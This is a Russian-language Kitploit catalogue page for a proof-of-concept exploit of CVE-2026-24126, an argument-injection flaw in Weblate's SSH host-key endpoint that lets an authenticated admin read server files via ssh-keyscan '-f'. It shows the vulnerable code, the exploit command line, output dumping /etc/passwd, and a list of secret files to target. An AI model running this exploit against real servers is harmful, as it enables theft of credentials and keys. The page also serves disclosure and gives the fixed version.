Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/alexb616/weblate-cve-2026-24126
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Доказательство концепции эксплуатации для CVE-2026-24126 — произвольное чтение файлов в Weblate через внедрение аргумента SSH-хоста, позволяющее аутентифицированным администраторам читать файлы сервера.

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Weblate — Произвольное чтение файлов через внедрение аргумента SSH Host

Обнаружено: Alejandro Baño · Январь 2026 Подтверждено: Примечания к выпуску Weblate 5.16


Обзор

Конечная точка управления SSH-ключами Weblate передаёт параметр host, предоставленный аутентифицированным администратором, напрямую в ssh-keyscan без какой-либо санитизации или проверки аргументов. Поскольку ssh-keyscan принимает флаг -f <file> для чтения имён хостов из файла, злоумышленник с учётными данными администратора может внедрить этот флаг в качестве значения хоста и заставить сервер открыть произвольный локальный файл. Результирующий вывод ошибок (или stdout) дословно отражается обратно в браузер внутри блока сообщения об ошибке, раскрывая содержимое файла.


Детали уязвимости

ПолеЗначение
ЦельWeblate (самостоятельно размещённые экземпляры)
КомпонентУправление SSH-ключами — weblate/ssh/views.py · add_host_key()
Требуется аутентификацияДа — учётная запись администратора Weblate
Затронутые версииВсе версии ≤ 5.15.2 (протестировано в 5.0.2 и 5.15.2)
ВоздействиеПроизвольное чтение локальных файлов от имени пользователя веб-сервера (weblate, www-data и т. д.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Корневая причина

root@kitploit:~
# weblate/ssh/views.py  — упрощённо
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host добавляется без проверки
    result = subprocess.run(cmdline, ...)

Значение host поступает напрямую из поля host тела POST-запроса без белого списка, без удаления ведущих дефисов и без терминатора аргументов -- перед значением, предоставленным пользователем. Это позволяет злоумышленнику внедрить любой флаг ssh-keyscan.

ssh-keyscan -f /etc/passwd читает /etc/passwd как список имён хостов, не может разрешить каждую строку и генерирует вывод ошибок для каждой из них. Этот вывод ошибок распространяется через обработчик CalledProcessError и отображается внутри блока alert-danger в HTTP-ответе.


Доказательство концепции

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Параметры

ФлагОписание
-r / --rhostБазовый URL экземпляра Weblate
-u / --usernameИмя пользователя администратора
-p / --passwordПароль администратора
-f / --fileПуть к файлу для чтения на сервере

Пример вывода

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Вход выполнен успешно для пользователя: admin
[*] Отправка полезной нагрузки на http://localhost/manage/ssh/, это может занять некоторое время, пожалуйста, подождите...

[+] Извлечённое содержимое файла:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Эксплуатация завершена

Воздействие

Любой файл, доступный для чтения пользователю ОС, под которым работает Weblate (обычно пользователь weblate), может быть извлечён с помощью одного аутентифицированного POST-запроса. Чувствительные цели включают:

  • Секреты приложения: settings.py, .env, local_settings.py
  • Приватные SSH-ключи: /var/lib/weblate/.ssh/id_rsa
  • Учётные данные базы данных, раскрытые в файлах конфигурации

Исправление

Обновитесь до Weblate 5.16.0 или новее. Это официальное исправление, выпущенное командой Weblate 18 февраля 2026 года, которое добавило надлежащую проверку входных данных в поле SSH-хоста.

Отказ от ответственности

Этот репозиторий предназначен только для образовательных и авторизованных исследований в области безопасности. Не используйте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент